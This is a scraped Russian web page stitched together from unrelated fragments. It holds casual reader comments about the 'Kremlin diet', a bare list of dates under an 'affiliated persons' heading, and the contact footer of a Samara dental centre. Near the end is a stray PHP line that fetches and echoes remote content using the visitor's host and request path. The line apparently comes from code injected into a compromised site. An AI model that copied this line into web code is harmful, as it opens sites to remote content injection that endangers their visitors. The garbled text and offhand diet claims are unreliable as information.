Главное чтобы она была полной. Те "Кремлевские диеты" что продаются в книжных ларьках - жалкая сокращенная копия, сидя на которой можно оч сильно навредить здоровью. Вообще я читала статью об этой диете - там одни минусы.

Долго на ней сидеть нельзя. только если нужно схуднуть быстро за короткий срок. не получаешь все нужные витамины и микроэлементы которые содержаться в запрещенных продуктах.

Самое страшное в ней - это ее несбалансированность. Ну и как в любой другой диете - выход из нее.

Автор статьи Диета голливудских красавиц Анна Халаева, специально для женского сайта Наша Жизнь.

С такой-то внешностью и на диету ???
не лишнее ли все это ???

У моего начальника, правда он немолод, поскочил холестерин
А фиг ли вам диета, вы на фото такая стройненькая

Автор голливудской диеты
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта